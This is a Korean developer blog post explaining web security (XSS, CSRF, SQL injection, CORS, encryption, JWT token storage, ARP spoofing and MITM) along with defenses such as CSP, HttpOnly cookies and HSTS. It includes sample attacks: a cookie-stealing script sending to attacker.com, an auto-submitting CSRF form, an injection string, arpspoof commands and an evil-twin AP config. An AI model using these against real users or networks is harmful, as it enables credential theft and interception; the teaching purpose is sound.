$ yh.log
[CS] 웹 보안

[CS] 웹 보안

CS보안JWT인증

작성자 : 오예환 | 작성일 : 2025-12-18 | 수정일 : 2025-12-18

1. 웹 공격 유형

XSS (Cross-Site Scripting)

공격자가 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격입니다.

XSS 유형

유형설명예시
Stored XSS악성 스크립트가 서버에 저장됨게시판 글에 스크립트 삽입
Reflected XSSURL 파라미터를 통해 스크립트 반사검색어에 스크립트 삽입
DOM-based XSS클라이언트 측 JavaScript에서 발생innerHTML로 사용자 입력 삽입

XSS 공격 원리

XSS는 공격자의 스크립트가 다른 사용자의 브라우저에서 실행되는 것입니다. 본인이 콘솔에서 스크립트를 실행하는 것과는 다릅니다.

[공격자]                     [서버]                    [피해자]
   │                          │                          │
   │── 게시글 작성 ──────────→│                          │
   │   "<script>               │                          │
   │    fetch('http://공격자서버',│                        │
   │    {body: document.cookie})│                         │
   │   </script>"              │                          │
   │                          │                          │
   │                          │←── 게시글 조회 ──────────│
   │                          │                          │
   │                          │── 게시글 내용 반환 ─────→│
   │                          │   (스크립트 포함)         │
   │                          │                          │
   │←───────────────────────────── 쿠키 전송됨 ──────────│
   │   피해자의 쿠키 탈취!     │                          │

XSS 공격 예시

<!-- 악성 스크립트 삽입 -->
<script>
  document.location = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

XSS 방어 방법

XSS 방어는 입력 검증출력 인코딩 두 단계로 이루어집니다.

단계위치목적
입력 검증서버 (저장 전)악성 데이터 차단 (1차 방어)
출력 인코딩렌더링 전저장된 데이터도 안전하게 표시 (2차 방어)

왜 둘 다 필요한가?

[입력 검증만 하는 경우]
새로운 공격 패턴 등장 → 필터 우회 → DB에 악성 스크립트 저장 → XSS 발생!

[출력 인코딩만 하는 경우]
DB에 악성 스크립트 계속 쌓임 → 다른 시스템에서 해당 DB 사용 시 위험

1. 입력 검증 (Input Validation) - 서버에서 저장 전

// 서버에서 저장 전 검증
app.post('/posts', (req, res) => {
  let content = req.body.content;
 
  // 화이트리스트 방식: 허용할 태그만 명시 (권장)
  content = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'a'],
    ALLOWED_ATTR: ['href']
  });
 
  // DB에 저장
  db.save({ content });
});

2. 출력 인코딩 (Output Encoding) - 렌더링 전

// 순수 JavaScript
element.textContent = userInput;  // 안전 - HTML로 해석 안 됨
 
// React - 자동 이스케이프
<div>{userInput}</div>  // < → &lt; 자동 변환

textContent vs innerHTML:

방식동작XSS 위험
innerHTMLHTML로 파싱하여 삽입위험
textContent순수 텍스트로 삽입안전
const userInput = '<script>alert("xss")</script>';
 
// innerHTML - 위험!
element.innerHTML = userInput;  // 스크립트 실행될 수 있음
 
// textContent - 안전
element.textContent = userInput;  // 텍스트로만 표시됨

React 자동 이스케이프:

React는 JSX의 {} 안에 넣은 값을 자동으로 이스케이프합니다.

const userInput = '<script>alert("xss")</script>';
 
// React가 자동으로 이스케이프
<div>{userInput}</div>
 
// 실제 렌더링 결과 (HTML)
<div>&lt;script&gt;alert("xss")&lt;/script&gt;</div>
 
// 화면에 보이는 것: 텍스트로 표시, 실행 안 됨

3. CSP (Content Security Policy)

서버에서 설정하는 HTTP 헤더로, 브라우저에게 "이런 스크립트만 실행해"라고 알려줍니다.

Content-Security-Policy: default-src 'self'; script-src 'self'
지시자의미
default-src 'self'기본적으로 같은 출처만 허용
script-src 'self'스크립트는 같은 출처만 허용
style-src 'self' 'unsafe-inline'스타일은 인라인도 허용
img-src *이미지는 모든 출처 허용

CSP가 막아주는 것:

<!-- 1. 인라인 스크립트 차단 -->
<script>alert('xss')</script>  <!-- 실행 안 됨 -->
 
<!-- 2. 외부 스크립트 차단 -->
<script src="http://evil.com/xss.js"></script>  <!-- 로드 안 됨 -->
 
<!-- 3. 이벤트 핸들러 차단 -->
<img src="x" onerror="alert('xss')">  <!-- 실행 안 됨 -->

Next.js에서 CSP 설정:

// next.config.js
module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
          }
        ],
      },
    ];
  },
};

Next.js의 CSP 문제점:

Next.js는 SSR 시 인라인 스크립트를 사용합니다. 엄격한 CSP(script-src 'self')를 적용하면 이 스크립트가 차단될 수 있습니다.

해결 방법설명
'unsafe-inline'간단하지만 보안 약함
nonce 사용안전하지만 설정 복잡
CSP 생략다른 방어 수단에 의존

실무에서는 완벽한 CSP보다 다른 방어 수단(입력 검증, 출력 인코딩, React 자동 이스케이프)에 더 의존하는 경우가 많습니다.

4. React에서 주의할 점

// 안전 - 자동 이스케이프
<div>{userInput}</div>
 
// 위험! - innerHTML과 동일하게 동작
<div dangerouslySetInnerHTML={{ __html: userInput }} />

dangerouslySetInnerHTML은 이름에서부터 경고하듯이, 사용자 입력을 직접 넣으면 XSS에 취약합니다.

5. DOMPurify 라이브러리 사용

HTML을 허용해야 하는 경우 (게시판 에디터 등):

import DOMPurify from "dompurify";
 
const dirty = '<script>alert("xss")</script><p>안전한 내용</p>';
const clean = DOMPurify.sanitize(dirty);
// 결과: "<p>안전한 내용</p>" (script 태그 제거됨)
 
element.innerHTML = clean; // 이제 안전

CSRF (Cross-Site Request Forgery)

사용자가 의도하지 않은 요청을 공격자가 대신 보내게 하는 공격입니다.

CSRF 공격 원리

1. 사용자가 은행 사이트에 로그인 (세션 쿠키 발급)
2. 사용자가 공격자의 사이트 방문
3. 공격자 사이트에 숨겨진 폼이 자동 제출
4. 브라우저가 세션 쿠키와 함께 요청 전송
5. 은행 서버는 정상 요청으로 인식하여 처리
<!-- 공격자 사이트에 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000000" />
</form>
<script>
  document.forms[0].submit();
</script>

CSRF 방어 방법

1. CSRF 토큰

<!-- 서버에서 생성한 토큰을 폼에 포함 -->
<form>
  <input type="hidden" name="_csrf" value="abc123xyz" />
</form>

서버는 요청 시 토큰을 검증합니다.

2. SameSite 쿠키

Set-Cookie: sessionId=abc123; SameSite=Strict
설명
Strict다른 사이트에서 요청 시 쿠키 전송 안 함
LaxGET 요청에만 쿠키 전송 (기본값)
None모든 요청에 쿠키 전송 (Secure 필수)

SQL Injection

사용자 입력에 SQL 쿼리를 삽입하여 데이터베이스를 조작하는 공격입니다.

SQL Injection 공격 예시

-- 원래 쿼리
SELECT * FROM users WHERE username = '입력값' AND password = '입력값'
 
-- 공격 입력: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
-- 항상 참이 되어 모든 사용자 정보 노출

SQL Injection 방어 방법

1. Prepared Statement (매개변수화 쿼리)

// 취약한 코드
db.query(`SELECT * FROM users WHERE id = ${userId}`);
 
// 안전한 코드
db.query("SELECT * FROM users WHERE id = ?", [userId]);

2. ORM 사용

// Prisma 예시
const user = await prisma.user.findUnique({
  where: { id: userId },
});

ORM은 내부적으로 쿼리를 매개변수화합니다.


Clickjacking

투명한 iframe을 이용해 사용자가 의도하지 않은 버튼을 클릭하게 만드는 공격입니다.

Clickjacking 방어 방법

1. X-Frame-Options 헤더

X-Frame-Options: DENY
설명
DENY모든 iframe 삽입 금지
SAMEORIGIN같은 출처만 iframe 허용

2. CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self'

2. CORS (Cross-Origin Resource Sharing)

Same-Origin Policy (동일 출처 정책)

브라우저는 보안을 위해 다른 출처의 리소스 접근을 제한합니다.

출처(Origin) = 프로토콜 + 호스트 + 포트

https://example.com:443/path

- 프로토콜: https
- 호스트: example.com
- 포트: 443
비교결과
https://example.com/a vs https://example.com/b동일 출처
http://example.com vs https://example.com다른 출처 (프로토콜)
https://example.com vs https://api.example.com다른 출처 (호스트)
https://example.com:443 vs https://example.com:8080다른 출처 (포트)

CORS 동작 원리

다른 출처의 리소스를 요청할 때, 서버가 허용 헤더를 응답해야 브라우저가 접근을 허용합니다.

[클라이언트]                    [서버]
     │                           │
     │── OPTIONS /api ──────────→│  (Preflight 요청)
     │                           │
     │←── Access-Control-Allow-* │  (허용 헤더 응답)
     │                           │
     │── GET /api ──────────────→│  (실제 요청)
     │                           │
     │←── 데이터 응답 ────────────│

Preflight 요청

단순 요청이 아닌 경우 브라우저가 먼저 OPTIONS 요청을 보내 허용 여부를 확인합니다.

단순 요청 조건:

  • 메서드: GET, HEAD, POST
  • 헤더: Accept, Content-Type (일부), etc.
  • Content-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded

CORS 관련 헤더

헤더설명
Access-Control-Allow-Origin허용할 출처 (* 또는 특정 출처)
Access-Control-Allow-Methods허용할 HTTP 메서드
Access-Control-Allow-Headers허용할 요청 헤더
Access-Control-Allow-Credentials쿠키 포함 여부 (true/false)
Access-Control-Max-AgePreflight 캐시 시간
// Express.js CORS 설정 예시
app.use(
  cors({
    origin: "https://example.com",
    methods: ["GET", "POST"],
    credentials: true,
  }),
);

3. 암복호화

대칭키 암호화

하나의 키로 암호화와 복호화를 모두 수행합니다.

[평문] ──(비밀키)──→ [암호문] ──(비밀키)──→ [평문]
알고리즘특징
AES현재 표준, 128/192/256비트 키
DES구식, 56비트 키 (취약)
3DESDES 3회 적용, AES로 대체 중

장점: 빠른 속도

단점: 키 교환 문제 (어떻게 안전하게 키를 전달할 것인가?)

비대칭키 암호화

공개키와 개인키 두 개의 키를 사용합니다.

[평문] ──(공개키)──→ [암호문] ──(개인키)──→ [평문]
용도암호화 키복호화 키
암호화공개키개인키
전자서명개인키공개키
알고리즘특징
RSA가장 널리 사용, 큰 소수의 곱 기반
ECC타원곡선, RSA보다 짧은 키로 동일 보안

장점: 키 교환 문제 해결

단점: 느린 속도

해시 함수

입력을 고정 길이의 해시값으로 변환합니다. 단방향이므로 원본 복원이 불가능합니다.

"password123" → SHA-256 → "ef92b778bafe771e..."
알고리즘특징
MD5128비트, 충돌 취약 (사용 비권장)
SHA-256256비트, 현재 표준
bcrypt비밀번호 해싱 전용, 솔트 + 반복 연산

비밀번호 저장 시 bcrypt 사용 권장:

const bcrypt = require("bcrypt");
const hash = await bcrypt.hash("password123", 10); // 10 = salt rounds
const isValid = await bcrypt.compare("password123", hash);

HTTPS/TLS

HTTP 통신을 암호화하여 도청과 변조를 방지합니다.

TLS Handshake 과정 (간략화)

[클라이언트]                    [서버]
     │                           │
     │── ClientHello ───────────→│  (지원하는 암호화 방식)
     │                           │
     │←── ServerHello ───────────│  (선택된 암호화 방식 + 인증서)
     │                           │
     │    인증서 검증              │
     │                           │
     │── 키 교환 ───────────────→│  (Pre-master secret)
     │                           │
     │←── Finished ──────────────│
     │                           │
     │   암호화된 통신 시작         │

인증서(CA)의 역할

  • CA (Certificate Authority): 신뢰할 수 있는 인증 기관
  • 서버의 공개키가 진짜인지 보증
  • 브라우저에 CA 목록이 내장되어 있음

4. 인증(Authentication) vs 인가(Authorization)

구분인증 (Authentication)인가 (Authorization)
질문"누구인가?""무엇을 할 수 있는가?"
예시로그인관리자 페이지 접근 권한
순서먼저 수행인증 후 수행

세션 기반 인증

서버가 세션 저장소에 사용자 정보를 저장하고, 클라이언트에 세션 ID를 발급합니다.

[클라이언트]                    [서버]
     │                           │
     │── 로그인 요청 ────────────→│
     │                           │
     │   세션 생성 및 저장         │
     │                           │
     │←── Set-Cookie: sessionId ─│
     │                           │
     │── 요청 (Cookie: sessionId)→│
     │                           │
     │   세션 저장소에서 조회       │
     │                           │
     │←── 응답 ──────────────────│

장점:

  • 서버에서 세션 관리 가능 (강제 로그아웃 등)
  • 탈취 시 세션 무효화 가능

단점:

  • 서버 메모리 사용
  • 분산 서버 환경에서 세션 동기화 필요

토큰 기반 인증 (JWT)

JWT (JSON Web Token): 사용자 정보를 토큰 자체에 담아 클라이언트에 전달합니다.

JWT 구조

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

[Header].[Payload].[Signature]
부분내용
Header알고리즘, 토큰 타입
Payload사용자 정보 (Claims)
SignatureHeader + Payload를 비밀키로 서명
// Payload 예시 (Base64 디코딩)
{
  "sub": "1234567890",  // 사용자 ID
  "name": "John",
  "iat": 1516239022,    // 발급 시간
  "exp": 1516242622     // 만료 시간
}

Access Token vs Refresh Token

구분Access TokenRefresh Token
용도API 요청 인증Access Token 재발급
만료 시간짧음 (15분~1시간)김 (7일~30일)
저장 위치Memory 또는 HttpOnly CookieHttpOnly Cookie
[Access Token 만료 시 흐름]
1. 클라이언트가 만료된 Access Token으로 요청
2. 서버가 401 Unauthorized 응답
3. 클라이언트가 Refresh Token으로 재발급 요청
4. 서버가 새 Access Token 발급

JWT 장단점

장점:

  • 서버 상태 저장 불필요 (Stateless)
  • 분산 서버 환경에 적합

단점:

  • 토큰 탈취 시 만료 전까지 무효화 어려움
  • Payload가 커지면 네트워크 부하

OAuth 2.0

제3자 서비스를 통한 인증 프로토콜입니다. (구글, 카카오 로그인 등)

[사용자]        [클라이언트 앱]       [인증 서버]        [리소스 서버]
    │                 │                   │                   │
    │── 로그인 요청 ──→│                   │                   │
    │                 │── 인증 요청 ──────→│                   │
    │←── 로그인 페이지 │←─────────────────│                   │
    │── 로그인 ───────────────────────────→│                   │
    │                 │←── Authorization Code                 │
    │                 │── Code + Secret ──→│                   │
    │                 │←── Access Token ───│                   │
    │                 │── API 요청 ────────────────────────────→│
    │                 │←── 데이터 ─────────────────────────────│

5. 토큰 저장 전략

저장 위치별 특징

저장 위치XSS 취약CSRF 취약새로고침 유지
LocalStorageOXO
SessionStorageOXX (탭 단위)
Cookie△ (HttpOnly로 방어)OO
MemoryXXX

LocalStorage

// 저장
localStorage.setItem("accessToken", token);
// 조회
const token = localStorage.getItem("accessToken");
// 삭제
localStorage.removeItem("accessToken");

장점: 사용 편리, 새로고침 후에도 유지

단점: XSS 공격에 취약 (JavaScript로 접근 가능)

SessionStorage

sessionStorage.setItem("accessToken", token);

특징: 탭/창 단위로 저장, 탭 닫으면 삭제

Cookie

// 서버에서 설정
Set-Cookie: accessToken=abc123; HttpOnly; Secure; SameSite=Strict
 
// 클라이언트에서 설정 (HttpOnly 불가)
document.cookie = "accessToken=abc123; Secure; SameSite=Strict";
옵션설명
HttpOnlyJavaScript 접근 차단 (XSS 방어)
SecureHTTPS에서만 전송
SameSiteCSRF 방어

Memory (변수)

let accessToken = null;
 
const setToken = token => {
  accessToken = token;
};
 
const getToken = () => accessToken;

장점: 가장 안전 (XSS로 접근 불가)

단점: 새로고침 시 소멸

추천 전략: Access Token(메모리) + Refresh Token(HttpOnly Cookie)

[추천 구성]
- Access Token: Memory (변수)
- Refresh Token: HttpOnly Cookie (Secure, SameSite=Strict)

이유:

  1. Access Token을 Memory에 저장하면 XSS로 탈취 어려움
  2. 새로고침 시 Refresh Token으로 Access Token 재발급
  3. Refresh Token은 HttpOnly Cookie로 JavaScript 접근 차단

전체 흐름

[로그인 시]
1. 사용자가 ID/PW 입력
2. 서버가 검증 후:
   - Access Token → 응답 body로 전달
   - Refresh Token → HttpOnly Cookie로 설정
3. 클라이언트가 Access Token을 메모리(변수)에 저장

[API 요청 시]
Authorization: Bearer {메모리에 있는 Access Token}

[새로고침 시]
1. 메모리의 Access Token 사라짐
2. 자동으로 /refresh 엔드포인트 호출
3. HttpOnly Cookie의 Refresh Token이 자동 전송됨
4. 서버가 새 Access Token 발급
5. 다시 메모리에 저장

서버 구현 (Node.js/Express)

// 로그인
app.post("/login", (req, res) => {
  // 사용자 검증 후...
  const accessToken = jwt.sign({ userId: user.id }, SECRET, { expiresIn: "15m" });
  const refreshToken = jwt.sign({ userId: user.id }, REFRESH_SECRET, { expiresIn: "7d" });
 
  // Refresh Token은 HttpOnly Cookie로 설정
  res.cookie("refreshToken", refreshToken, {
    httpOnly: true, // JavaScript 접근 불가
    secure: true, // HTTPS만
    sameSite: "strict",
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7일
  });
 
  // Access Token은 body로 전달
  res.json({ accessToken });
});
 
// 토큰 재발급
app.post("/refresh", (req, res) => {
  const refreshToken = req.cookies.refreshToken; // 쿠키에서 자동으로 읽힘
 
  if (!refreshToken) return res.status(401).json({ error: "No refresh token" });
 
  try {
    const decoded = jwt.verify(refreshToken, REFRESH_SECRET);
    const newAccessToken = jwt.sign({ userId: decoded.userId }, SECRET, { expiresIn: "15m" });
    res.json({ accessToken: newAccessToken });
  } catch {
    res.status(401).json({ error: "Invalid refresh token" });
  }
});

클라이언트 구현

// 메모리에 토큰 저장
let accessToken = null;
 
// 로그인
const login = async (email, password) => {
  const res = await fetch("/login", {
    method: "POST",
    credentials: "include", // 쿠키 주고받기 허용
    body: JSON.stringify({ email, password }),
  });
  const data = await res.json();
  accessToken = data.accessToken; // 메모리에 저장
};
 
// 토큰 재발급 (새로고침 시 호출)
const refreshAccessToken = async () => {
  const res = await fetch("/refresh", {
    method: "POST",
    credentials: "include", // HttpOnly Cookie 자동 전송
  });
 
  if (res.ok) {
    const data = await res.json();
    accessToken = data.accessToken; // 새 토큰 메모리에 저장
    return true;
  }
  return false; // 재발급 실패 → 로그인 페이지로
};
 
// API 요청 (토큰 자동 갱신 포함)
const fetchWithAuth = async (url, options = {}) => {
  // 1. 토큰 없으면 먼저 재발급 시도
  if (!accessToken) {
    const refreshed = await refreshAccessToken();
    if (!refreshed) {
      window.location.href = "/login";
      return;
    }
  }
 
  // 2. 요청
  let res = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${accessToken}`,
    },
  });
 
  // 3. 401이면 토큰 재발급 후 재시도
  if (res.status === 401) {
    const refreshed = await refreshAccessToken();
    if (refreshed) {
      res = await fetch(url, {
        ...options,
        headers: {
          ...options.headers,
          Authorization: `Bearer ${accessToken}`,
        },
      });
    } else {
      window.location.href = "/login";
    }
  }
 
  return res;
};
 
// 앱 초기화 시 (새로고침/재방문 후)
const initApp = async () => {
  await refreshAccessToken(); // 자동으로 토큰 복구 (자동 로그인)
};

자동 로그인

메모리 + HttpOnly Cookie 방식에서도 자동 로그인은 가능합니다.

[자동 로그인 흐름]

1. 사용자가 브라우저를 닫음
   - 메모리의 Access Token → 사라짐
   - HttpOnly Cookie의 Refresh Token → 남아있음

2. 다음날 사이트 재방문
   - 앱 초기화 시 /refresh 호출
   - Refresh Token 쿠키가 자동 전송됨
   - 서버가 새 Access Token 발급
   - 로그인 상태 복구!

3. Refresh Token 만료 시 (7일 후 등)
   - /refresh 실패
   - 로그인 페이지로 이동

자동 로그인 유지 기간 = Refresh Token의 만료 기간

자동 로그인 체크박스 (Remember Me)

로그인 폼에서 "로그인 유지" 체크박스를 통해 자동 로그인 여부를 선택할 수 있습니다.

[로그인 폼]
┌─────────────────────────────┐
│  이메일: [____________]     │
│  비밀번호: [____________]   │
│  ☑ 로그인 유지 (자동 로그인) │
│         [로그인]            │
└─────────────────────────────┘

체크 여부에 따른 동작:

체크 상태쿠키 설정브라우저 종료 시
체크maxAge 설정 (7일)쿠키 유지 → 자동 로그인
미체크maxAge 없음 (세션)쿠키 삭제 → 재로그인 필요

클라이언트 구현:

const login = async (email, password, rememberMe) => {
  const res = await fetch("/login", {
    method: "POST",
    credentials: "include",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      email,
      password,
      rememberMe  // 체크박스 값 전송
    }),
  });
 
  const data = await res.json();
  accessToken = data.accessToken;
};
 
// 로그인 폼 제출
const handleSubmit = (e) => {
  e.preventDefault();
  const email = e.target.email.value;
  const password = e.target.password.value;
  const rememberMe = e.target.rememberMe.checked;
 
  login(email, password, rememberMe);
};

서버 구현:

app.post("/login", (req, res) => {
  const { email, password, rememberMe } = req.body;
 
  // 사용자 검증...
 
  const accessToken = jwt.sign({ userId: user.id }, SECRET, { expiresIn: "15m" });
  const refreshToken = jwt.sign({ userId: user.id }, REFRESH_SECRET, { expiresIn: "7d" });
 
  // rememberMe에 따라 쿠키 옵션 변경
  const cookieOptions = {
    httpOnly: true,
    secure: true,
    sameSite: "strict",
  };
 
  if (rememberMe) {
    // 체크함: maxAge 설정 → 영속 쿠키 (브라우저 종료 후에도 유지)
    cookieOptions.maxAge = 7 * 24 * 60 * 60 * 1000; // 7일
  }
  // 미체크: maxAge 없음 → 세션 쿠키 (브라우저 종료 시 삭제)
 
  res.cookie("refreshToken", refreshToken, cookieOptions);
  res.json({ accessToken });
});

핵심 차이점:

[rememberMe: true]
Set-Cookie: refreshToken=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=604800
                                                                 ↑ 7일 유지

[rememberMe: false]
Set-Cookie: refreshToken=xxx; HttpOnly; Secure; SameSite=Strict
                                                ↑ Max-Age 없음 = 세션 쿠키
  • Max-Age가 있으면: 영속 쿠키 → 브라우저 종료 후에도 유지
  • Max-Age가 없으면: 세션 쿠키 → 브라우저 종료 시 자동 삭제

6. 패킷 탈취 (Packet Sniffing)

네트워크를 통해 전송되는 데이터 패킷을 가로채는 공격입니다. 공격자가 네트워크 통신을 엿보거나 조작할 수 있습니다.

패킷 스니핑 원리

네트워크 상의 데이터는 패킷 단위로 전송됩니다. 공격자가 같은 네트워크에 있거나 중간 경로에 있으면 이 패킷을 캡처할 수 있습니다.

[정상 통신]
[클라이언트] ──────────────────────────→ [서버]
              HTTP 요청 (평문)

[패킷 스니핑]
[클라이언트] ────→ [공격자] ────→ [서버]
              ↑
         패킷 캡처

패킷 탈취 방법 (구체적 예시)

1. ARP Spoofing (가장 흔한 방법)

**ARP(Address Resolution Protocol)**는 IP 주소를 MAC 주소로 변환하는 프로토콜입니다. 공격자가 이를 악용하여 트래픽을 가로챕니다.

[정상 상황]
피해자 PC: "192.168.1.1(게이트웨이)의 MAC 주소가 뭐지?"
게이트웨이: "내 MAC은 AA:BB:CC:DD:EE:FF야"
피해자 PC: 게이트웨이 MAC = AA:BB:CC:DD:EE:FF (ARP 테이블에 저장)

[ARP Spoofing 공격]
공격자: "나(192.168.1.1)의 MAC은 11:22:33:44:55:66이야!" (거짓 응답)
피해자 PC: 게이트웨이 MAC = 11:22:33:44:55:66 (공격자 MAC으로 덮어씀!)

→ 이제 피해자의 모든 트래픽이 공격자에게 먼저 전달됨

공격 도구 예시 (교육 목적):

# arpspoof (Linux) - 실제 공격에 사용되는 도구
# 피해자(192.168.1.100)에게 "나(공격자)가 게이트웨이다"라고 속임
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
 
# 동시에 게이트웨이에게 "나(공격자)가 피해자다"라고 속임
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
[공격 후 트래픽 흐름]

정상: 피해자 → 게이트웨이 → 인터넷
공격: 피해자 → 공격자 → 게이트웨이 → 인터넷
                ↑
           패킷 캡처/변조 가능

2. 패킷 스니핑 (캡처)

ARP Spoofing으로 트래픽을 가로챈 후, Wireshark 같은 도구로 패킷 내용을 확인합니다.

[Wireshark로 캡처된 HTTP 패킷 예시]

Frame 1: 342 bytes
Ethernet II, Src: 피해자MAC, Dst: 공격자MAC
Internet Protocol, Src: 192.168.1.100, Dst: 93.184.216.34
Transmission Control Protocol, Src Port: 54321, Dst Port: 80

Hypertext Transfer Protocol
    POST /login HTTP/1.1
    Host: example.com
    Content-Type: application/x-www-form-urlencoded

    username=victim@email.com&password=MySecret123
    ↑
    평문으로 완전히 노출됨!

3. Evil Twin AP (가짜 WiFi)

공격자가 진짜와 동일한 이름의 가짜 WiFi를 만들어 피해자를 유인합니다.

[카페 상황]

진짜 WiFi: "Starbucks_Free" (신호 약함, 2층에 있음)
가짜 WiFi: "Starbucks_Free" (공격자 노트북, 신호 강함)

피해자 스마트폰: 신호 강한 쪽(가짜)에 자동 연결!
→ 모든 트래픽이 공격자 노트북을 통과
# hostapd로 가짜 AP 생성 (Linux)
# 실제 공격자가 사용하는 방식
 
# 1. 가짜 AP 설정
interface=wlan0
driver=nl80211
ssid=Starbucks_Free  # 진짜와 동일한 이름
channel=6
 
# 2. DHCP 서버로 IP 할당
# 3. iptables로 트래픽 포워딩
# 4. 모든 트래픽 스니핑 가능

4. DNS Spoofing (파밍)

DNS 응답을 위조하여 가짜 사이트로 유도합니다.

[정상 DNS 조회]
피해자: "bank.com의 IP가 뭐야?"
DNS 서버: "93.184.216.34야"
피해자: 93.184.216.34(진짜 은행)에 접속

[DNS Spoofing]
피해자: "bank.com의 IP가 뭐야?"
공격자: "192.168.1.66이야!" (가짜 응답을 먼저 보냄)
피해자: 192.168.1.66(공격자 서버)에 접속
        → 진짜와 똑같이 생긴 피싱 사이트!
[피싱 사이트 예시]

진짜: https://bank.com (인증서 있음, 자물쇠 표시)
가짜: http://bank.com (공격자 서버, 인증서 없음!)
      ↑
      주소창에 자물쇠가 없으면 의심해야 함

5. 실제 공격 시나리오 (카페에서)

[공격 시나리오: 카페 WiFi]

1. 공격자가 카페 WiFi에 연결
2. ARP Spoofing으로 모든 사용자 트래픽 가로채기
3. Wireshark로 HTTP 트래픽 실시간 모니터링
4. 피해자가 로그인 시도

[피해자 행동]
- http://some-site.com 접속 (HTTPS 아님)
- 아이디/비밀번호 입력
- 로그인 버튼 클릭

[공격자 화면 - Wireshark]
POST /login HTTP/1.1
Host: some-site.com
Content-Type: application/x-www-form-urlencoded

email=victim%40gmail.com&password=qwerty123
      ↑                         ↑
   이메일 탈취              비밀번호 탈취!

왜 HTTPS가 이를 막는가?

[HTTPS 통신 시 공격자가 보는 것]

Frame 1: 1420 bytes
Ethernet II, Src: 피해자MAC, Dst: 공격자MAC
Internet Protocol, Src: 192.168.1.100, Dst: 93.184.216.34
Transmission Control Protocol, Src Port: 54321, Dst Port: 443

TLS Record Layer
    Content Type: Application Data (23)
    Version: TLS 1.3
    Encrypted Application Data:
    17 03 03 00 5a 8f 2b 4c 9d e1 f3 a8 7b 2c...
    ↑
    암호화되어 있어서 내용 확인 불가!

공격자가 알 수 있는 것: 목적지 IP, 도메인(SNI)
공격자가 알 수 없는 것: URL 경로, 쿠키, 로그인 정보, 본문 전체

MITM (Man-in-the-Middle) 공격

공격자가 통신 중간에 끼어들어 데이터를 가로채거나 변조하는 공격입니다.

[정상 통신]
[사용자] ←──────────────────→ [서버]

[MITM 공격]
[사용자] ←──→ [공격자] ←──→ [서버]
              ↑
         도청/변조 가능

MITM 공격 유형

유형설명예시
ARP Spoofing로컬 네트워크에서 MAC 주소 위조같은 WiFi 네트워크 내 공격
DNS SpoofingDNS 응답 위조하여 가짜 사이트로 유도피싱 사이트로 리다이렉트
SSL StrippingHTTPS를 HTTP로 다운그레이드암호화 제거 후 도청
Evil Twin AP가짜 WiFi 액세스 포인트 생성카페 WiFi 위장

공용 WiFi의 위험성

카페, 공항, 호텔 등의 공용 WiFi는 패킷 스니핑에 매우 취약합니다.

[공용 WiFi 위험 시나리오]

1. 사용자가 카페 WiFi에 연결
2. 공격자도 같은 WiFi에 연결
3. 공격자가 ARP Spoofing으로 트래픽 가로채기
4. HTTP 통신의 모든 데이터 노출:
   - 로그인 정보
   - 세션 쿠키
   - 개인 정보

공용 WiFi에서 노출될 수 있는 정보:

HTTP (암호화 X)HTTPS (암호화 O)
URL 전체도메인만 (SNI)
요청/응답 본문암호화됨
쿠키, 토큰암호화됨
로그인 정보암호화됨

HTTPS가 패킷 탈취를 방어하는 원리

HTTPS는 **TLS(Transport Layer Security)**를 사용하여 통신을 암호화합니다.

[HTTP - 평문 전송]
POST /login
Content-Type: application/json

{"email": "user@test.com", "password": "secret123"}
↑ 그대로 노출됨

[HTTPS - 암호화 전송]
(암호화된 바이너리 데이터)
0x17 0x03 0x03 0x00 0x5a 0x8f 0x2b ...
↑ 복호화 키 없이는 내용 확인 불가

HTTPS가 제공하는 보안

보안 요소설명
기밀성 (Confidentiality)데이터 암호화로 도청 방지
무결성 (Integrity)MAC으로 데이터 변조 감지
인증 (Authentication)인증서로 서버 신원 확인

SSL Stripping 공격과 방어

SSL Stripping은 HTTPS 연결을 HTTP로 다운그레이드하는 공격입니다.

[SSL Stripping 공격 흐름]

1. 사용자가 http://bank.com 접속 시도
2. 공격자가 중간에서 요청 가로채기
3. 공격자 → 서버: HTTPS로 연결
4. 공격자 → 사용자: HTTP로 응답
5. 사용자는 HTTP로 통신 (암호화 X)
6. 공격자가 모든 데이터 도청

[사용자] ←HTTP→ [공격자] ←HTTPS→ [서버]
         평문         암호화

HSTS (HTTP Strict Transport Security)로 방어

HSTS는 브라우저에게 항상 HTTPS로만 접속하도록 강제합니다.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
지시자설명
max-ageHSTS 유지 시간 (초)
includeSubDomains서브도메인에도 적용
preload브라우저 사전 목록에 등록

HSTS 동작 원리:

[첫 번째 방문]
1. 사용자: http://bank.com 접속
2. 서버: 301 → https://bank.com + HSTS 헤더
3. 브라우저가 HSTS 정책 저장

[이후 방문]
1. 사용자: http://bank.com 입력
2. 브라우저: 자동으로 https://bank.com으로 변환 (307 Internal Redirect)
3. 서버와 HTTPS로 직접 통신

→ SSL Stripping 불가!

Next.js에서 HSTS 설정:

// next.config.js
module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Strict-Transport-Security',
            value: 'max-age=31536000; includeSubDomains'
          }
        ],
      },
    ];
  },
};

인증서 검증의 중요성

HTTPS가 안전하려면 인증서가 유효해야 합니다.

[인증서 검증 과정]

1. 서버가 인증서 제시
2. 브라우저가 검증:
   - 신뢰할 수 있는 CA가 발급했는가?
   - 만료되지 않았는가?
   - 도메인이 일치하는가?
   - 폐기되지 않았는가?
